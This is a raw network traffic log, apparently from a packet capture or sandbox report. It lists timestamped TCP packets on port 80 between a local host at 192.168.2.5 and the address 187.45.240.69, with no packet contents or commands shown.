Aug 16, 2022 11:44:57.611021042 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.615190983 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.615216017 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.615273952 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.800518990 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.800574064 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.800614119 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.800702095 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.800740957 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.800801992 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.801049948 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.808614969 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.808648109 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.808729887 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.808773041 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.808927059 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.808983088 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.809165001 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.809396982 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.809454918 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.809674025 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.809766054 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.809817076 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.820375919 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.820409060 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.821938992 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.825021982 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.825066090 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.825125933 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.825193882 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.825215101 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.825537920 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.825618982 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.825803995 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.825848103 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.825859070 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.826153040 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.826209068 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.826502085 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.826556921 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.826915979 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.826977015 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.836159945 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.836213112 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.836246967 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.836282015 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.836296082 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.836313963 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.836332083 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.836345911 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.836358070 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.836374998 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.836389065 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.836406946 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.836433887 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.836442947 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.850708008 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.854068041 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.999391079 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.033066034 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.033194065 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.033274889 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.033323050 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.033727884 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.034168959 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.034285069 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.034693956 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.034764051 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.034853935 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.034909010 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.039489031 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.041235924 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.055170059 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.241199017 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.241307020 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.241333961 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.241359949 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.241384983 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.241410017 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.241434097 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.241457939 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.241456032 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.241487980 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.241497040 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.241513968 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.241527081 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.241549969 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.241713047 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.241797924 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.271528959 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.271569967 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.271596909 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.271625042 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.271656036 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.271708965 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.271740913 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.271747112 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.271766901 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.271785021 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.271820068 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.271843910 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.271871090 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.271950960 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.272018909 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.272043943 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.272082090 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.272140026 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.483607054 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.483835936 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.484296083 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.484333038 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.484392881 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.484436035 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.485343933 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486493111 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486536980 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486568928 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.486572981 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486612082 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486615896 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.486649990 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.486673117 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486736059 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486771107 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486778975 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.486799955 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486823082 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486845970 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486845970 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.486870050 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486871958 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.486892939 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486916065 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486916065 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.486939907 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.486965895 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.486974001 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.487003088 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.487004995 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.487032890 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.487077951 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.488063097 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488090038 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488112926 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488198996 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488204002 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.488229036 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488251925 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488267899 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.488274097 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488317013 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.488358021 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.488377094 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488403082 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488462925 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.488564014 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488596916 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488617897 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.488624096 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488647938 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488656998 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.488670111 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488681078 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.488706112 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.488738060 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.488812923 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488898039 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488929033 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488951921 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488953114 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.488972902 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488996029 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.488997936 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.489023924 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.489065886 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.704577923 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.704663038 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.704719067 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.704760075 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.704797983 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.704811096 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.704834938 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.704854012 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.704873085 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.704879045 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.704910040 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.704915047 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.704947948 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.704948902 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.704988003 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.704993963 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705035925 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705046892 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705089092 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705108881 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705152988 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705153942 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705193996 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705208063 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705249071 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705266953 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705311060 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705313921 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705347061 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705348969 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705387115 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705390930 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705425024 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705429077 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705463886 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705470085 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705504894 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705507994 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705555916 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705564976 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705611944 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705681086 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705727100 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705738068 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705780029 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705789089 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705827951 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705837011 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705887079 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705897093 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705926895 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705929041 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.705965042 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.705969095 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.706007957 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.706022024 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.706067085 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.706070900 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.706115007 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.706116915 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.706161976 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.706170082 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.706214905 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.706223011 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.706265926 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.706274986 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.706321001 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.706330061 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.706374884 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.706384897 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.706429005 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.706434965 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.706478119 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.725194931 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.725246906 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.725369930 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.725581884 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.725625992 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.725667000 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.725686073 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.725709915 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.725711107 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.725761890 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.729677916 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.729720116 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.729762077 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.729778051 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.729825974 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.729835987 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.729868889 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.729939938 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.729983091 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.729985952 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.730027914 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.730031967 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.730063915 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.730071068 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.730113029 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.730154037 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.730154991 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.730196953 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.730238914 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.730238914 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.730283976 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.730319977 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:58.730325937 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.733700991 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.877459049 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:58.878211975 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.095828056 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.095870018 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.095912933 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.095933914 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.095969915 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.095976114 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.095998049 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.096046925 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.096056938 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.096090078 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.096096039 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.096126080 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.096149921 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.096195936 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.096201897 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.096251965 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.096256971 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.096285105 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.096307039 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.096354008 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.098704100 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.119848013 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.119904995 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.120027065 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.120068073 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.152218103 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.311789989 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.311830997 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.311857939 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.311920881 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.311942101 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.316505909 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.394547939 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.394589901 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.394613981 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.394623995 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.394642115 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.394656897 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.394661903 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.394670010 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.394681931 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.394697905 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.394701958 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.394722939 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.394731045 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.394750118 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.394784927 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.428587914 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.536418915 CEST	80	49797	187.45.240.69	192.168.2.5
